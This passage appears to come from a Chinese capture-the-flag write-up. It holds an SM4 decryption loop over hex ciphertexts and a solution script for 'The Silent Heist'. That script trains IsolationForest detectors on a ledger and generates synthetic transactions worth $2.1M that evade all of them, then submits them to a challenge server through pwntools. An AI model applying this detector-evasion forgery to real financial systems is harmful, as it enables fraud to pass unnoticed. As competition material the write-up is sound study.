243f3ea8cca3d6bad779161939dd3acd3de84e9f0345f8e4c7b1dd0909922334bbbc0ccd412b8d8
216337b515ad84833f28fc2641bf05e058be36ed08c073a5d9d24304eaf50c29d1f3cde1893acc5
e4ba171ed4d1474d3f0046208ba565589ace3ecd59e248c22663b789ff5ff9eb73ea4fff8399159
d10f689487d553333ce4ec0c0c568a5f532a015a6f1801f0d820a0b8a744b915248b842a2448d9b
6d2d0493c7e8a32b86c05a26127a02bbb99ba83f410b1c2b9bbc1b5e39a5558f467eebd32b38a3e
208c2534f74b450e412c2ab730ec45b224a2ba5255e24fd831db1d900c8a57967b8ad6993fb3a9b
2de1d2d6093eb14a02ddd4cb29275b4cd80f99e761e2dc2ca5f79f97eb5e01ae78b840270ec94dd
8eaeb7d15b9b74406f4e96257e0eec382482d4dcfb64257b9e83711e847957323fedb65b189afe1
50ae2213b7c9d2788dce7ba88cf8774a9bbe15c3832f0c136b1397209a7d6a9f37d3bc0a242f029
d6a4feb9b26a55d786120ea2d6fbe312786411b701a353ab0c81a54b98f519ef41ce3775f5b2c26
c7ad644797d69604a9fd412ae25a28aec737d3bc0a242f029d6a4feb9b26a55d786120ea2d6fbe3
12786411b701a353ab0158df499dc5f4de223e3dca72bbf66f48ac1fc75b1be3cc2e4de7d370f88
778a006daefea44d62d389eff227e4d031124cd80f99e761e2dc2ca5f79f97eb5e01507836a14c3
f3e83d0a317cd2ab8048eba52c6ca5e547ff797fca0cd47c62f4b7356b3bc38bc81e646000cf069
b2be56d9fe59bcf4063d0a0363b9209c4f3860c90967283e1b364810145ed6e7525074a1a2527c0
5163cd8d49595c493a9bc5e5d480f143d8f892dfd8f90b3e8d3ea20352c9d0ad901cc079bf2a592
ae4c58be125fff2fb31ecdcd95dc2fcdefdf1c6101dabec17b13f2d04eb8851a3115be66d1778df
b4003a9f705ad133b196c32404734c892cda46767181cf7a0a38fb8ac6e0a04a6bff4b1e8a7bfda
be5ddabbf62f934f8f91898a41dd0a0fd7c83eb55d27fe795766e9fcf20b8b885081848690e58d3
748a157c7801a3d5c42db28cebf582760ac945ac0fc2b72edfc43c01c919b5a749a422da155198c
be9e3a2806a32a4e4a8590bbcf0496b0e13a8be7fbb69d55fc3541905d448499cd88edf0c58f592
05e9f89a115e0ca9b5c3ebd9415c631acc7f6b9de54a40a9fa7d606f95e4cd62cd0cb2eb4feb350
d04c46ce6f8b8d0eaf46208b3b4d4508812cd908bce78846ad5c20a6dbb14f7373dfce61976b85e
58d3748a157c7801a3d5c42db28cebf75ec1d1089052336e2c805f6e1d401dc35b7bb0bf188e8a9
c2e8567a3ae0ec3bf6b9c05a0b6a9673c89693fbe7894b0135481fbddaf394773fad605eae99f46
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00e956dd8d489eb2ed159c598fabec5b17c8df9c4b414a371aa84b77eefea1bb42418ea7fd3709e
2ef4850ddae503e92a0b4ff34aa7020c999bac051005b26fa5a0f828b51e588aeca3e690e9c84ff
682164a86379ddda02b1d92f0dee9a1d0cb9cbdf5432cc4b943ba474c4f5467500b0b31d077cf50
47aa9384cf4b6757ca370a5e0604fcd15bfedaefe87179f97cf0efe63431c3b3540eb2e459cb825
0fc1993bea701c61b61b7ffc13777b2d9f9dc57d229f0489d63280f8e8c73baeb70cada6aa30d3a
91d0c8f4f2a26dd4e3e7ad0c99810245ae92a05893d4b74323a37247cc6c9c417f8082ccef101bd
31acdc79c8a673396353a030358d2a3db37019672b8042929a68fea5ba9965e5145940355e00deb
e46e80b75dd31b646f39d4cb3e057bc64c8e3b39a7c6d3bfdd41a836ff87620ec931e8a490f0ad3
3048de50841a959f4baac6fb0e36b389f6f5ecb3925b04a5d37f37479c0ed02b23f38c64e443004
33b5a0cbc4063760642bba08473e11ef2c7be2f6bc0ac99cca4792b17dfe4f3358455566bb4e300
6a200a87466f4dafea0bfa7a420220ca5ec4f5e73d89784fce2cfc878df8f3609576975a58ce58d
3748a157c7801a3d5c42db28cebf152ab441a154dfbd83e6e929e62be820e41688e06d47bde7809
60ef807b3fd78bdf05032d4aa84948b384d9afd9fc12c95169f9ee5c386f60e32374951be448e92
d4853b4c8ae7fbc715f4562156ba86b5adc49e400e7c227c617a26bbd908a27896015cf6f8532e5
c04b5030abe4f7f0f6c167ab0ea204e76fdfca5e6311fee6403bb60415e43af2a10de078a479a8c
644709a3082176ffb04af8535796b3acf83bcd500f288a491101dcea576f1dd97ba6ce01d8f1de4
e98135bf20f394129672538325aaded45fd604b388019b12df57ff11b010ba7c39dc7f04fd26b77
0806b46d91016bd16e126c8d3f6c874acfe42ee6bc7030e24c62e9901103458ebd44fced6e5064c
2f19da84dfff4c62f6c1088c3bc411ab9ab0f7eb772b85958d94f1775cb597f36010c045326de15
287a5ee634e93ce07e0ad0ea5c9cebc60308823d603ef85287de24fb532cbc577b8fd49553f3ca6
067dd2b58467a749571247d6c20d005178494c3c9ec028297a8360248ecd4a8d4a9088a0b27faba
386dca644709a3082176ffb04af8535796b3ac02f30c6c0d7cc594e2bcafb487e74f12157ce37c1
553c6382b1689c659eaeb23672538325aaded45fd604b388019b12df57ff11b010ba7c39dc7f04f
d26b770804245b989b54cced122e6e9e9551efd011a479cd8db04b5fdcdb0cb75ba0039c44fced6
e5064c2f19da84dfff4c62f6c5f4161bc70501782795e73b2032071d9a205839af1b4b42d35f628
f79847bf3cd80c3faa03cab06d8cbeae800ce724a7823d603ef85287de24fb532cbc577b8fa014e
820aedef4bbd9685845951995982ccf1a4cef2497d36c1dd18bd968932e5e197f709a77d04aa112
373cc4c1d0ab",
    
"4331cfda21eeab8922fcc7acced16d1a17b02e8d2d9dfee48dc8f18e0dbbb2e4c4547e39d8c4aa
2418d9fca52c9c4770",
    
"7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e0838
0db6fd20316f8a2729",
    
"de7cc756e5c97fed18a72a95af102dac48dc0810752bd7755157e5909974cbe0ce87241e7f01e3
169e7a763a22008029",
    "7b82a7a9e2cacaa29b6e70cec2a3302a",
    "f958a8cea6721e88d1882e0f16e4da4b"
]
for ciphertext in chiper_list:
    plaintext = sm4_decrypt_ECB(key, ciphertext)
    print(f"明文: {plaintext}")
    print(f"明文(ASCII): {bytes.fromhex(plaintext).decode('utf-8', 
errors='ignore')}")
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AI​

The Silent Heist​

给AI做AI（x​

代码块​

import pandas as pd
import numpy as np
from sklearn.ensemble import IsolationForest
from pwn import remote

io = remote("39.106.128.130", 30785)
source = pd.read_csv('public_ledger.csv')

print("-" * 60)
print("Phase I: Data Profiling")
print("-" * 60)

center = source.mean().values
spread = source.cov().values
deviation = source.std().values

print(f"Total entries: {len(source)}")
print(f"Mean of f0 (amount): {center[0]:.2f}")
print(f"Std of f0 (amount): {deviation[0]:.2f}")

print("\n" + "-" * 60)
print("Phase II: Ensemble Anomaly Detectors")
print("-" * 60)

detectors = []
specs = [
    {'trees': 100, 'noise': 0.001},
    {'trees': 100, 'noise': 0.005},
    {'trees': 100, 'noise': 0.01},
    {'trees': 200, 'noise': 0.001},
    {'trees': 200, 'noise': 0.005},
]

for cfg in specs:
    clf = IsolationForest(
        n_estimators=cfg['trees'],
        contamination=cfg['noise'],
        random_state=42,
        max_samples='auto'
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    )
    clf.fit(source.values)
    detectors.append(clf)
    print(f"  Built detector: trees={cfg['trees']}, noise={cfg['noise']}")

print("\n" + "-" * 60)
print("Phase III: Synthesizing Plausible Records")
print("-" * 60)

target_sum = 2100000
avg_val = center[0]
needed = int(target_sum / avg_val) + 500

print(f"Target sum: ${target_sum:,}")
print(f"Estimated count: {needed}")

np.random.seed(42)

batch = 20000
approved = []

while len(approved) < needed:
    candidates = np.random.multivariate_normal(center, spread, batch)
    consensus_ok = np.ones(batch, dtype=bool)
    for model in detectors:
        labels = model.predict(candidates)
        consensus_ok &= (labels == 1)
    passed = candidates[consensus_ok]
    approved.extend(passed.tolist())
    print(f"  Generated: {batch} | Accepted: {len(passed)} | Total so far: 
{len(approved)}")

final_set = np.array(approved[:needed])
field_names = source.columns.tolist()
crafted_df = pd.DataFrame(final_set, columns=field_names)

print("\n" + "-" * 60)
print("Phase IV: Integrity & Consistency Checks")
print("-" * 60)

all_clear = True
for model in detectors:
    verdicts = model.predict(crafted_df.values)
    clean = np.sum(verdicts == 1)
    if clean < len(crafted_df):
        all_clear = False
        print(f"  Detector result: {clean}/{len(crafted_df)} valid")
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    else:
        print(f"  Detector result: {clean}/{len(crafted_df)} valid ✓")

final_amount = crafted_df['f0'].sum()
print(f"\nAggregate amount: ${final_amount:,.2f}")

original_hashes = set(tuple(r) for r in source.values)
forged_hashes = set(tuple(r) for r in crafted_df.values)
overlap_count = len(original_hashes & forged_hashes)
print(f"Overlaps with original: {overlap_count}")

distinct_rows = len(crafted_df.drop_duplicates())
print(f"Distinct entries: {distinct_rows}/{len(crafted_df)}")

print("\n" + "-" * 60)
print("Phase V: Output & Submission")
print("-" * 60)

crafted_df.to_csv('fake_transactions.csv', index=False)
print("Synthetic ledger saved as fake_transactions.csv")

submission_blob = crafted_df.to_csv(index=False) + 'EOF'
with open('submit_data.txt', 'w') as f:
    f.write(submission_blob)
print("Submission payload written to submit_data.txt")

print("\n" + "-" * 60)
print("Process completed!")
print("-" * 60)
print(f"Records generated: {len(crafted_df)}")
print(f"Total value: ${final_amount:,.2f}")

with open("submit_data.txt", "r") as payload_file:
    payload = payload_file.read()
    io.recv()
    io.send(payload.encode())
    io.interactive()
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